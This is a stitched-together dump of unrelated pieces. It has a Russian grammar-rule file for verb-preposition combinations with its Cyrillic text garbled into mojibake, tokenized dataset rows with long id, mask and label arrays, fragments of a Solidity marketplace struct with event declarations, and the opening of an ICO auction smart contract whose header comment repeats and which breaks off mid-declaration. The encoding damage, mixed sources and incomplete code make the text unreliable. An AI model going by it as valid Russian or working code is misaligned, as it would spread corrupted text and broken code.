rus_verbs:ะฏะะะฏะขะฌะกะฏ{}, // ะงะฐะน ัะฒะปัะตััั ะดะปั ะบะธัะฐะนัะตะฒ ะพะฑััะฝัะผ ะตะถะตะดะฝะตะฒะฝัะผ ะฝะฐะฟะธัะบะพะผ (ะฏะะะฏะขะฌะกะฏ ะะะฏ)
rus_verbs:ะะ ะะะะะฏะขะฌ{}, // ะะปั ะพัะตะฝะพะบ ะฑัะดััะธั
ะธะทะผะตะฝะตะฝะธะน ะบะปะธะผะฐัะฐ ะฟัะธะผะตะฝััั ะผะพะดะตะปะธ ะพะฑัะตะน ัะธัะบัะปััะธะธ ะฐัะผะพััะตัั. (ะะ ะะะะะฏะขะฌ ะะะฏ)
rus_verbs:ะะะะขะะ ะฏะขะฌ{}, // ะฟะพะฒัะพััั ะดะปั ะะตัะธ (ะะะะขะะ ะฏะขะฌ ะะะฏ)
rus_verbs:ะฃะะะขะ ะะะะฏะขะฌ{}, // ะัะฐัะบะธ, ัะฟะพััะตะฑะปัะตะผัะต ะดะปั ะถะธะฒะพะฟะธัะธ (ะฃะะะขะ ะะะะฏะขะฌ ะะะฏ)
rus_verbs:ะะะะกะขะ{}, // ะะปั ะทะปะพััะฝัั
ะฝะฐัััะธัะตะปะตะน ะฟัะตะดะปะพะถะธะปะธ ะฒะฒะตััะธ ะฟะพะฒััะตะฝะฝัะต ัััะฐัั (ะะะะกะขะ ะะะฏ)
rus_verbs:ะฝะฐะนัะธัั{}, // ั ะฒะฐั ะฝะฐะนะดะตััั ะดะปั ะฝะตะณะพ ัะฐะฑะพัะฐ?
rus_verbs:ะทะฐะฝะธะผะฐัััั{}, // ะพะฝะธ ะทะฐะฝะธะผะฐัััั ััะธะผ ะดะปั ัะฐะทะฒะปะตัะตะฝะธั. (ะทะฐะฝะธะผะฐัััั ะดะปั)
rus_verbs:ะทะฐะตั
ะฐัั{}, // ะะพะปั ะทะฐะตั
ะฐะป ะดะปั ะพะฑััะถะดะตะฝะธั ะฟัะพะตะบัะฐ
rus_verbs:ัะพะทัะตัั{}, // ัะพะทัะตัั ะดะปั ะฟะพะฑะตะณะฐ
rus_verbs:ะฝะฐะผะตัะธัั{}, // ะฝะฐะผะตัะธัั ะดะปั ะฟัะพะฒะตัะบะธ
rus_verbs:ัััะฝะธัั{}, // ัััะฝะธัั ะดะปั ัะตะฑั
rus_verbs:ะฝะฐะฝะธะผะฐัั{}, // ะฝะฐะฝะธะผะฐัั ะดะปั ัะฐะทะพะฒะพะน ัะฐะฑะพัั
rus_verbs:ะฟัะธัะฟะพัะพะฑะธัั{}, // ะฟัะธัะฟะพัะพะฑะธัั ะดะปั ัะดะพะฒะพะปัััะฒะธั
rus_verbs:ะพะฑะปัะฑะพะฒะฐัั{}, // ะพะฑะปัะฑะพะฒะฐัั ะดะปั ะฟะพัะธะดะตะปะพะบ
rus_verbs:ะฟัะพััะฝะธัั{}, // ะฟัะพััะฝะธัั ะดะปั ัะตะฑั
rus_verbs:ะทะฐะดะตะนััะฒะพะฒะฐัั{}, // ะทะฐะดะตะนััะฒะพะฒะฐัั ะดะปั ะฟะฐัััะปะธัะพะฒะฐะฝะธั
rus_verbs:ะฟัะธะณะพัะพะฒะปััั{}, // ะฟัะธะณะพัะพะฒะปััั ะดะปั ะฟัะพะฒะตัะบะธ
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะธัะฟะพะปัะทะพะฒะฐัั ะดะปั ะดะพััะธะถะตะฝะธั ัะตะปะธ
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธัะฟะพะปัะทะพะฒะฐะฝะฝัะน{},
ะดะตะตะฟัะธัะฐััะธะต:ะธัะฟะพะปัะทัั{},
ะดะตะตะฟัะธัะฐััะธะต:ะธัะฟะพะปัะทะพะฒะฐะฒ{},
rus_verbs:ะฝะฐะฟัััััั{}, // ะฝะฐะฟัััััั ะดะปั ัะตัะธัะตะปัะฝะพะณะพ ััะฒะบะฐ
rus_verbs:ะพะดะพะฑัะธัั{}, // ะพะดะพะฑัะธัั ะดะปั ะธัะฟะพะปัะทะพะฒะฐะฝะธั
rus_verbs:ะพะดะพะฑัััั{}, // ะพะดะพะฑัััั ะดะปั ะธัะฟะพะปัะทะพะฒะฐะฝะธั
rus_verbs:ะฟัะธะณะพะดะธัััั{}, // ะฟัะธะณะพะดะธัััั ะดะปั ัะตััะธัะพะฒะฐะฝะธั
rus_verbs:ะณะพัะพะฒะธัั{}, // ะณะพัะพะฒะธัั ะดะปั ะฒัั
ะพะดะฐ ะฒ ัะฒะตั
rus_verbs:ะพัะพะฑัะฐัั{}, // ะพัะพะฑัะฐัั ะดะปั ััะฐััะธั ะฒ ะบะพะฝะบัััะต
rus_verbs:ะฟะพััะตะฑะพะฒะฐัััั{}, // ะฟะพััะตะฑะพะฒะฐัััั ะดะปั ะฟะพะดัะฒะตัะถะดะตะฝะธั
rus_verbs:ะฟะพััะฝะธัั{}, // ะฟะพััะฝะธัั ะดะปั ัะปััะฐัะตะปะตะน
rus_verbs:ะฟะพััะฝััั{}, // ะฟะพััะฝะธัั ะดะปั ัะบะทะฐะผะตะฝะฐัะพัะพะฒ
rus_verbs:ะฟะพะฝะฐะดะพะฑะธัััั{}, // ะฟะพะฝะฐะดะพะฑะธัััั ะดะปั ะพะฑะพัะฝะพะฒะฐะฝะธั
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะผะฐัะธะฝะฐ ะฑัะปะฐ ะฐะดะฐะฟัะธัะพะฒะฐะฝะฐ ะดะปั ััะปะพะฒะธะน ะบัะฐะนะฝะตะณะพ ัะตะฒะตัะฐ
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธััััะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
//+ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฝะฝัะน{},
rus_verbs:ะฝะฐะนัะธ{}, // ะะฐะฟะฐ ะฝะฐัะตะป ะดะปั ะดะตัะตะน ะฝัะฝั
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒัะตะดะฝัะน{}, // ะญัะพ ะฒัะตะดะฝะพ ะดะปั ะทะดะพัะพะฒัั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพะปะตะทะฝัะน{}, // ะัะพะณัะปะบะธ ะฟะพะปะตะทะฝั ะดะปั ะทะดะพัะพะฒัั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะพะฑัะทะฐัะตะปัะฝัะน{}, // ะญัะพั ะฟัะฝะบั ะพะฑัะทะฐัะตะปะตะฝ ะดะปั ะธัะฟะพะปะฝะตะฝะธั
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฑะตัะฟะพะปะตะทะฝัะน{}, // ะญัะพ ะปะตะบะฐัััะฒะพ ะฑะตัะฟะพะปะตะทะฝะพ ะดะปั ะฝะตะณะพ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตะพะฑั
ะพะดะธะผัะน{}, // ะญัะพ ะปะตะบะฐัััะฒะพ ะฝะตะพะฑั
ะพะดะธะผะพ ะดะปั ะฒัะทะดะพัะพะฒะปะตะฝะธั
rus_verbs:ัะพะทะดะฐัั{}, // ะะฝ ะฝะต ัะพะทะดะฐะฝ ะดะปั ััะพะณะพ ะดะตะปะฐ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะปะพะถะฝัะน{}, // ะทะฐะดะฐัะฐ ัะปะพะถะฝะฐ ะดะปั ะผะปะฐะดัะธั
ัะบะพะปัะฝะธะบะพะฒ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะปะพะถะฝัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะปัะณะบะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะปะพะถะฝะพะฒะฐััะน{},
rus_verbs:ััะฐะฝะพะฒะธัััั{},
rus_verbs:ะฟัะตะดััะฐะฒะปััั{}, // ะญัะพ ะฝะต ะฟัะตะดััะฐะฒะปัะตั ะดะปั ะผะตะฝั ะธะฝัะตัะตัะฐ.
rus_verbs:ะทะฝะฐัะธัั{}, // ะฏ ัะพั ะฒ ะดะตัะตะฒะฝะต ะธ ั
ะพัะพัะพ ะทะฝะฐะป, ััะพ ะดะปั ะดะตัะตะฒะตะฝัะบะพะน ะถะธะทะฝะธ ะทะฝะฐัะฐั ะฟััะด ะธะปะธ ัะตัะบะฐ
rus_verbs:ะฟัะพะนัะธ{}, // ะะตะฝั ะฟัะพััะป ัะฟะพะบะพะนะฝะพ ะดะปั ะฝะตะณะพ.
rus_verbs:ะฟัะพั
ะพะดะธัั{},
rus_verbs:ะฒััะฐะดะธัััั{}, // ะฑะพะปััะพะน ะทะปะพะน ะฟะธัะฐั ะธ ะตะณะพ ะพััะฐัะฝะฝัะต ะฟะพะผะพัะฝะธะบะธ ะฒััะฐะดะธะปะธัั ะฝะฐ ะฝะตะพะฑะธัะฐะตะผะพะผ ะพัััะพะฒะต ะดะปั ะฟะพะธัะบะฐ ะทะฐััััั
ัะพะบัะพะฒะธั
rus_verbs:ะฒััะฐะถะธะฒะฐัััั{},
rus_verbs:ะฟัะธะฑะฐะฒะปััั{}, // ะะฝ ะปัะฑะธั ะฟัะธะฑะฐะฒะปััั ะดะปั ะบัะฐัะฝะพะณะพ ัะปะพะฒัะฐ.
rus_verbs:ะฟัะธะฑะฐะฒะธัั{},
rus_verbs:ัะพััะฐะฒะธัั{}, // ะ ัะด ััะธะณะพะฝะพะผะตััะธัะตัะบะธั
ัะฐะฑะปะธั ะฑัะป ัะพััะฐะฒะปะตะฝ ะดะปั ะฐัััะพะฝะพะผะธัะตัะบะธั
ัะฐััััะพะฒ.
rus_verbs:ัะพััะฐะฒะปััั{},
rus_verbs:ััะฐัะฐัััั{}, // ะฏ ััะฐัะฐะปัั ะดะปั ะฒะฐั
rus_verbs:ะฟะพััะฐัะฐัััั{}, // ะฏ ะฟะพััะฐัะฐะปัั ะดะปั ะฒะฐั
rus_verbs:ัะพั
ัะฐะฝะธัััั{}, // ะกัะฐัะธะบ ั
ะพัะพัะพ ัะพั
ัะฐะฝะธะปัั ะดะปั ัะฒะพะตะณะพ ะฒะพะทัะฐััะฐ.
rus_verbs:ัะพะฑัะฐัััั{}, // ัะพะฑัะฐัััั ะดะปั ะพะฑััะถะดะตะฝะธั
rus_verbs:ัะพะฑะธัะฐัััั{}, // ัะพะฑะธัะฐัััั ะดะปั ะพะฑััะถะดะตะฝะธั
rus_verbs:ัะฟะพะปะฝะพะผะพัะธะฒะฐัั{},
rus_verbs:ัะฟะพะปะฝะพะผะพัะธัั{}, // ะตะณะพ ัะฟะพะปะฝะพะผะพัะธะปะธ ะดะปั ะฒะตะดะตะฝะธั ะฟะตัะตะณะพะฒะพัะพะฒ
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะฏ ะฟัะธะฝัั ััั ะบะฝะธะณั ะดะปั ะฒะฐั.
rus_verbs:ะดะตะปะฐัั{}, // ะฏ ััะพ ะดะตะปะฐั ะดะปั ัะดะพะฒะพะปัััะฒะธั.
rus_verbs:ัะดะตะปะฐัั{}, // ะฏ ัะดะตะปะฐั ััะพ ะดะปั ัะดะพะฒะพะปัััะฒะธั.
rus_verbs:ะฟะพะดะณะพัะพะฒะธัั{}, // ั ะฟะพะดะณะพัะพะฒะธะป ะดะปั ะดััะทะตะน ัััะฟัะธะท
rus_verbs:ะฟะพะดะณะพัะฐะฒะปะธะฒะฐัั{}, // ั ะฟะพะดะณะพัะฐะฒะปะธะฒะฐั ะดะปั ะณะพััะตะน ะฝะพะฒัะน ัััะฟัะธะท
rus_verbs:ะทะฐะบัะฟะธัั{}, // ะ ัะบะพะฒะพะดััะฒะพ ัะฐะนะพะฝะฐ ะพะฑะตัะฐะปะพ ะทะฐะบัะฟะธัั ะฝะพะฒัะต ะบะพะผะฑะฐะนะฝั ะดะปั ะฝะฐัะตะณะพ ัะตะปะฐ
rus_verbs:ะบัะฟะธัั{}, // ะ ัะบะพะฒะพะดััะฒะพ ัะฐะนะพะฝะฐ ะพะฑะตัะฐะปะพ ะบัะฟะธัั ะฝะพะฒัะต ะบะพะผะฑะฐะนะฝั ะดะปั ะฝะฐัะตะณะพ ัะตะปะฐ
rus_verbs:ะฟัะธะฑััั{} // ะพะฝะธ ะฟัะธะฑัะปะธ ะดะปั ััะฐััะธั
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะะฏ_ะ ะพะด ะฟัะตะดะปะพะณ:ะดะปั{} *:*{ ะฟะฐะดะตะถ:ัะพะด } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะะฏ_ะ ะพะด ะฟัะตะดะปะพะณ:ะดะปั{} @regex("[a-z]+[0-9]*") }
then return true
}
// ะดะปั ะพััะฐะปัะฝัั
ะฟะฐะดะตะถะตะน ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะดะปั{} *:*{} }
then return false,-4
}
#endregion ะัะตะดะปะพะณ_ะะะฏ
#region ะัะตะดะปะพะณ_ะะข
// ะฟะพะฟัะพะฑัะตะผ ะธะฝัั ัััะฐัะตะณะธั - ะทะฐะฟัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ั ะะข ะดะปั ะพัะดะตะปัะฝัั
ะณะปะฐะณะพะปะพะฒ, ัะฐะทัะตัะธะฒ ะดะปั ะฒัะตั
ะพััะฐะปัะฝัั
.
wordentry_set ะะปะฐะณ_ะะข_ะ ะพะด_ะะฐะฟั=
{
rus_verbs:ะฝะฐัะปะฐะถะดะฐัััั{}, // ัะฒะพะฑะพะดะพะน ะพั ะพะฑัะทะฐัะตะปัััะฒ
rus_verbs:ะฝะฐัะปะฐะดะธัััั{},
rus_verbs:ะผะพัั{}, // ะะฝ ะฝะต ะผะพะณ ัะดะตัะถะฐัััั ะพั ัะผะตั
ะฐ.
// rus_verbs:ั
ะพัะตัั{},
rus_verbs:ะถะตะปะฐัั{},
rus_verbs:ััะฒััะฒะพะฒะฐัั{}, // ะฒัะต ะฒัะตะผั ะพั ะฒัะตะผะตะฝะธ ััะฒััะฒััั ะตะณะพ.
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัั{},
rus_verbs:ะฟัะธะฝััััั{} // ะผั ะฟัะธะฝัะปะธัั ะพะฑะฝะธะผะฐัััั ะพั ัะฐะดะพััะธ.
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะปะฐะณ_ะะข_ะ ะพะด_ะะฐะฟั ะฟัะตะดะปะพะณ:ะพั{} * }
then return false
}
#endregion ะัะตะดะปะพะณ_ะะข
#region ะัะตะดะปะพะณ_ะะะ
/*
// ะทะฐะฟัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ั ะะะ ะดะปั ะพัะดะตะปัะฝัั
ะณะปะฐะณะพะปะพะฒ, ัะฐะทัะตัะธะฒ ะดะปั ะฒัะตั
ะพััะฐะปัะฝัั
.
wordentry_set ะะปะฐะณ_ะะะ_ะ ะพะด_ะะฐะฟั=
{
rus_verbs:ะผะพัั{}, // ะะฝ ะผะพะณ ัะธัะฐัั ัะฐัะฐะผะธ ะฑะตะท ะพัะดัั
ะฐ.
rus_verbs:ั
ะพัะตัั{},
rus_verbs:ะถะตะปะฐัั{},
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัั{},
rus_verbs:ะฟัะธะฝััััั{}
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะปะฐะณ_ะะะ_ะ ะพะด_ะะฐะฟั ะฟัะตะดะปะพะณ:ะฑะตะท{} * }
then return false
}
*/
#endregion ะัะตะดะปะพะณ_ะะะ
#region ะัะตะดะปะพะณ_ะะ ะะะ
fact ะณะป_ะฟัะตะดะป
{
if context { * ะัะตะดะปะพะณะะปัะัะต * }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะะ ะะะ
// ------------------------------------
// ะะพ ัะผะพะปัะฐะฝะธั ัะฐะทัะตัะฐะตะผ ะฒัะต ะพััะฐะปัะฝัะต ัะพัะตัะฐะฝะธั.
fact ะณะป_ะฟัะตะดะป
{
if context { * * * }
then return true
}
|
ัะฐะณะฝััั ะฒ ะฝะตะธะทะฒะตััะฝะพััั
|
rus_verbs:ัะฐะณะฝััั{},
| 5,483,771 |
[
1,
146,
235,
145,
113,
145,
116,
145,
126,
146,
230,
146,
229,
146,
239,
225,
145,
115,
225,
145,
126,
145,
118,
145,
121,
145,
120,
145,
115,
145,
118,
146,
228,
146,
229,
145,
126,
145,
127,
146,
228,
146,
229,
146,
239,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
436,
407,
67,
502,
2038,
30,
146,
235,
145,
113,
145,
116,
145,
126,
146,
230,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x6E89Fd91e093691d2e3071e52898dd7Df725a9C3/sources/contracts/TTMarketplace.sol
|
@notice This is the Sell struct, the basic structures contain the owner of the selling tokens.
|
struct SellList {
address seller;
address token;
uint256 tokenId;
uint256 amountOfToken;
uint256 amountofTokenSold;
uint256 startTime;
uint256 deadline;
uint256 price;
bool isSold;
bool protocolSell;
}
address indexed seller,
uint256 indexed sellId,
uint256 tokenId,
uint256 amount,
uint256 price
);
address indexed seller,
uint256 indexed sellId,
uint256 tokenId,
uint256 amountOfToken
);
address indexed seller,
uint256 indexed sellId,
uint256 tokenId,
uint256 amountOfToken
);
address indexed buyer,
uint256 indexed sellId,
uint256 tokenId,
uint256 amountOfToken,
uint256 price
);
| 17,015,089 |
[
1,
2503,
353,
326,
348,
1165,
1958,
16,
326,
5337,
12597,
912,
326,
3410,
434,
326,
357,
2456,
2430,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1958,
348,
1165,
682,
288,
203,
3639,
1758,
29804,
31,
203,
3639,
1758,
1147,
31,
203,
3639,
2254,
5034,
1147,
548,
31,
203,
3639,
2254,
5034,
3844,
951,
1345,
31,
203,
3639,
2254,
5034,
3844,
792,
1345,
55,
1673,
31,
203,
3639,
2254,
5034,
8657,
31,
203,
3639,
2254,
5034,
14096,
31,
203,
3639,
2254,
5034,
6205,
31,
203,
3639,
1426,
11604,
1673,
31,
203,
3639,
1426,
1771,
55,
1165,
31,
203,
565,
289,
203,
203,
3639,
1758,
8808,
29804,
16,
203,
3639,
2254,
5034,
8808,
357,
80,
548,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
2254,
5034,
6205,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
29804,
16,
203,
3639,
2254,
5034,
8808,
357,
80,
548,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
3844,
951,
1345,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
29804,
16,
203,
3639,
2254,
5034,
8808,
357,
80,
548,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
3844,
951,
1345,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
27037,
16,
203,
3639,
2254,
5034,
8808,
357,
80,
548,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
3844,
951,
1345,
16,
203,
3639,
2254,
5034,
6205,
203,
565,
11272,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
import "./BasicMathLib.sol";
import "./ArrayUtilsLib.sol";
import "./ICOAuctionStandardToken.sol";
/**
* @title ICO Auction Contract w/Random Bid Selection
* @author Hackdom
* @dev https://majoolr.io
* version 1.0.0
*
* Copyright (c) 2017 Majoolr, LLC
* The MIT License (MIT)
* https://github.com/Majoolr/ethereum-libraries/blob/master/LICENSE
*
* Majoolr works on open source projects in the Ethereum community with the
* purpose of testing, documenting, and deploying reusable code onto the
* blockchain to improve security and usability of smart contracts. Majoolr
* also strives to educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: majoolr.io
*
* This was developed as a result of discussion on reddit.
* See https://www.reddit.com/r/ethereum/comments/6iwyta/the_ico_contract_to_end_all_of_the_nonsense/
* for further information.
*
* The construct is based on Nick Johnson's proposal at
* https://gist.github.com/Arachnid/b9886ef91d5b47c31d2e3c8022eeea27 .
* The StandardToken was modified to allow for dynamic creation from this contract.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This was developed as a result of discussion on reddit.
* See https://www.reddit.com/r/ethereum/comments/6iwyta/the_ico_contract_to_end_all_of_the_nonsense/
* for further information.
*
* The construct is based on Nick Johnson's proposal at
* https://gist.github.com/Arachnid/b9886ef91d5b47c31d2e3c8022eeea27 .
* The StandardToken was modified to allow for dynamic creation from this contract.
*
* This is long with all of the comments. All execution is 100% on-chain.
*/
contract StandardICOAuction {
using ArrayUtilsLib for uint256[];
using BasicMathLib for uint256;
address public owner;
ICOAuctionStandardToken public token;
struct Bid {
address bidder;
uint256 totalBid;
}
mapping (uint256 => Bid[]) public bids; //Maps each price point to an array of bids at that price
mapping (address => uint256[2]) public bidLocation; //Maps bidder address to location in bids
uint256 public capAmount; //Maximum amount to be raised
uint256 public minimumTargetRaise; //Minimum amount acceptable for successful auction
uint256 public percentOfTokensAuctioned; //How much of token supply available in auction
uint256 public auctionSupply; //Token initial supply times percentOfTokensAuctioned
uint256 public decimals; //Number of zeros to add to token supply, usually 18
uint256 public minimumBid; //Lowest acceptable bid
uint256 public startTime; //ICO start time, timestamp
uint256 public endTime; //ICO end time, timestamp automatically calculated
uint256 public bestPrice; //Will store the price everyone will pay after moving down price points
uint256 public bpIndex; //Array index of the best price in the price point array, stored to reduce calculation gas
uint256 public totalEligibleBids; //Total bids at or above the calculated best price
uint256[] public tokenPricePoints; //List of token price points
uint256[] public bidAmount; //Running count revenue raised for each price point
uint256[] public endIndex; //Used to calculate winning bid index across all eligible price point lists
bool[] public allowWithdraw; //Trigger for allowing ether refund in each target price bucket
bool public fundAll; //True if amount raised is between minimum target and cap
bool public cancelAuction; //True if minimum not met after auction over
mapping (address => uint) public withdrawTokensMap; //For token withdraw function
mapping (address => uint256) public failedDeposit; //Catch for failed deposits, allows descriptive ErrorMsg
uint256 public numberOfBytes; //Used for random number generation
uint256 public byteDivisor; //Also used for random number selection
bytes32 hashCode; //Stored hash which we derive winning bidder from
